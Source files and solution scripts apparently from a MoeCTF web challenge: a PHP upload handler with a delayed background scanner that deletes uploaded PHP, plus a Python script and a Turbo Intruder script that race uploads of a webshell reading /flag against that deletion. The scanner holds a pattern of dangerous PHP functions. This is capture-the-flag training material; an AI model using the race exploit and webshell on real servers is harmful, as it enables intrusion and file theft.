1
<?php
2
declare(strict_types=1);
3

4
const PRIVATE_DIR = __DIR__ . '/private';
5
const FAKE_FLAG = 'moectf{g3t_0u7_of_h3r3_right_now}';
6
const EGG_TEXT = <<<'TEXT'
7
我在你们这才交了几个文件，我已经发现三个问题了：
8
首先，（啪啪啪），在线提交，这文件怎么进了你的私人的目录里呢？
9
第二，这个文件我刚传进去，我还没拿到flag呢，这已经被删了，诶，这说明你们的后端逻辑有问题啊
10
第三，这个木马已经被我传上去了，这位邪恶的出题人，你怎么不给我flag呢？那请问我怎么才能解题呢？
11
TEXT;
12

13
function normalize_text(string $text): string
14
{
15
    $text = preg_replace('/^\xEF\xBB\xBF/', '', $text) ?? $text;
16
    $text = str_replace(["\r\n", "\r"], "\n", $text);
17
    return trim($text);
18
}
19

20
function send_json(array $data, int $status = 200): never
21
{
22
    http_response_code($status);
23
    header('Content-Type: application/json; charset=utf-8');
24
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
25
    exit;
26
}
27

28
function clean_filename(string $name): ?string
29
{
30
    $name = basename($name);
31
    if ($name === '' || $name === '.' || $name === '..') {
32
        return null;
33
    }
34
    if (!preg_match('/\A[A-Za-z0-9._-]{1,80}\z/', $name)) {
35
        return null;
36
    }
37
    return $name;
38
}
39

40
function schedule_scan(string $target): void
41
{
42
    $cmd = PHP_BINARY . ' ' . escapeshellarg('/app/scanner.php') . ' '
43
         . escapeshellarg($target) . ' > /dev/null 2>&1 &';
44
    exec($cmd);
45
}
46

47
function handle_upload(): never
48
{
49
    if (!isset($_FILES['file'])) {
50
        send_json(['error' => '还没提交文件呢。'], 400);
51
    }
52

53
    $file = $_FILES['file'];
54
    if (!is_array($file) || ($file['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
55
        send_json(['error' => '文件提交失败。'], 400);
56
    }
57

58
    if (($file['size'] ?? 0) > 65536) {
59
        send_json(['error' => '文件太大了，新生作业先别交这么厚。'], 400);
60
    }
61

62
    $filename = clean_filename((string)($file['name'] ?? ''));
63
    if ($filename === null) {
64
        send_json(['error' => '文件名只允许字母、数字、点、下划线和短横线。'], 400);
65
    }
66

67
    if (!is_dir(PRIVATE_DIR)) {
68
        mkdir(PRIVATE_DIR, 0755, true);
69
    }
70
    // 后续：写入文件 -> 与 EGG_TEXT 比对 -> 命中则回 FAKE_FLAG -> 否则回 path
71
    //      最后调用 schedule_scan($target) 后台调度扫描
72
}

1
<?php
2
declare(strict_types=1);
3

4
$target = $argv[1] ?? '';
5
$privateRoot = '/app/public/private';
6
$rawDelay = $_ENV['SCAN_DELAY_US'] ?? getenv('SCAN_DELAY_US');
7
if ($rawDelay === false || $rawDelay === '') {
8
    $rawDelay = '350000';
9
}
10
$delay = (int)$rawDelay;
11

12
if ($delay < 100000) {
13
    $delay = 100000;
14
}
15
if ($delay > 2000000) {
16
    $delay = 2000000;
17
}
18

19
usleep($delay);
20

21
if ($target === '' || !is_file($target)) {
22
    exit;
23
}
24

25
$realTarget = realpath($target);
26
$realRoot = realpath($privateRoot);
27

28
if ($realTarget === false || $realRoot === false
29
    || !str_starts_with($realTarget, $realRoot . DIRECTORY_SEPARATOR)) {
30
    exit;
31
}
32

33
$name = basename($realTarget);
34
$content = file_get_contents($realTarget, false, null, 0, 8192);
35
if ($content === false) {
36
    exit;
37
}
38

39
$dangerousExtension = (bool)preg_match('/\.(?:php[0-9]?|phtml|phar)$/i', $name);
40
$dangerousContent = (bool)preg_match(
41
    '/<\?(?:php|=)?|shell_exec\s*\(|system\s*\(|passthru\s*\(|exec\s*\(|proc_open\s*\(|popen\s*\(|`/i',
42
    $content
43
);
44

45
if ($dangerousExtension || $dangerousContent) {
46
    @unlink($realTarget);
47
}

1
#!/bin/sh
2
set -eu
3

4
if [ -z "${FLAG+x}" ]; then
5
    FLAG='moectf{h0t_$0y_m!1k_ha5_n0_$+raw}'
6
fi
7

8
printf '%s\n' "$FLAG" > /flag
9
chmod 0444 /flag
10
export FLAG=
11

12
mkdir -p /app/public/private
13
chown -R ctf:ctf /app/public/private
14

15
exec su-exec ctf php \
16
    -d expose_php=0 \
17
    -S 0.0.0.0:8080 \
18
    -t /app/public \
19
    /app/public/router.php

1
import socket, threading, time, uuid, sys
2

3
HOST, PORT = "127.0.0.1", 49765
4
SHELL = b'<?php echo @readfile("/flag"); ?>'
5
UPLOADERS, GETTERS, RUN_SECONDS = 3, 10, 60
6

7
stop = threading.Event()
8
found = {}
9
stats = {"post": 0, "get": 0, "get200": 0}
10
lock = threading.Lock()
11

12

13
def raw_request(payload, timeout=15):
14
    """发一个裸 HTTP 报文并返回完整响应；出错或超时也要保留已收到的部分"""
15
    try:
16
        s = socket.create_connection((HOST, PORT), timeout=timeout)
17
        s.sendall(payload)
18
        chunks = []
19
        while True:
20
            buf = s.recv(65536)
21
            if not buf:
22
                break
23
            chunks.append(buf)
24
        s.close()
25
        return b"".join(chunks)
26
    except Exception:
27
        return b""
28

29

30
def build_post():
31
    b = uuid.uuid4().hex
32
    body = (f"--{b}\r\n"
33
            f'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
34
            f"Content-Type: application/octet-stream\r\n\r\n").encode() + SHELL + f"\r\n--{b}--\r\n".encode()
35
    return (f"POST /submit HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
36
            f"Content-Type: multipart/form-data; boundary={b}\r\n"
37
            f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body
38

39

40
def build_get():
41
    return (f"GET /private/shell.php HTTP/1.1\r\n"
42
            f"Host: {HOST}:{PORT}\r\nConnection: close\r\n\r\n").encode()
43

44

45
def uploader():
46
    while not stop.is_set():
47
        raw_request(build_post(), timeout=12)
48
        with lock:
49
            stats["post"] += 1
50

51

52
def getter():
53
    while not stop.is_set():
54
        resp = raw_request(build_get(), timeout=12)
55
        with lock:
56
            stats["get"] += 1
57
        if not resp or b"200" not in resp.split(b"\r\n", 1)[0]:
58
            continue
59
        with lock:
60
            stats["get200"] += 1
61
        body = resp.split(b"\r\n\r\n", 1)[-1]
62
        # 命中判定：拿到 flag，或者返回体不是木马源码本身（说明 PHP 执行了）
63
        if b"moectf{" in body or (body and body.strip() != SHELL.strip()):
64
            if stop.is_set():
65
                return
66
            stop.set()
67
            found["body"] = body
68
            print("\n[+] 命中！webshell 执行结果：")
69
            print(body.decode("utf-8", "replace").strip())
70
            return
71

72

73
threads = [threading.Thread(target=uploader, daemon=True) for _ in range(UPLOADERS)]
74
_getters = [threading.Thread(target=getter, daemon=True) for _ in range(GETTERS)]
75

76
print(f"[*] 目标 http://{HOST}:{PORT}，启动 {UPLOADERS} 上传线程 + {GETTERS} 访问线程")
77
for t in threads:
78
    t.start()
79
time.sleep(0.2)          # 让访问线程先把连接铺开，再开始上传
80
for t in _getters:
81
    t.start()
82

83
deadline = time.time() + RUN_SECONDS
84
while time.time() < deadline and not stop.is_set():
85
    time.sleep(1)
86
    print(f"\r    上传 {stats['post']} / 访问 {stats['get']} / 200响应 {stats['get200']}",
87
          end="", flush=True)
88
stop.set()
89
print("\n[*] 完成" if found else "\n[-] 没抢到窗口，调大 GETTERS 再试")

1
def queueRequests(target, wordlists):
2
    engine = RequestEngine(endpoint=target.endpoint,
3
                           concurrentConnections=20,
4
                           requestsPerConnection=100,
5
                           pipeline=False)
6
    get_req = '''GET /private/shell.php HTTP/1.1
7
Host: 127.0.0.1:49765
8

9
'''
10
    for i in range(200):
11
        engine.queue(target.req)
12
        engine.queue(get_req)
13

14
def handleResponse(req, interesting):
15
    if 'moectf{' in req.response:
16
        table.add(req)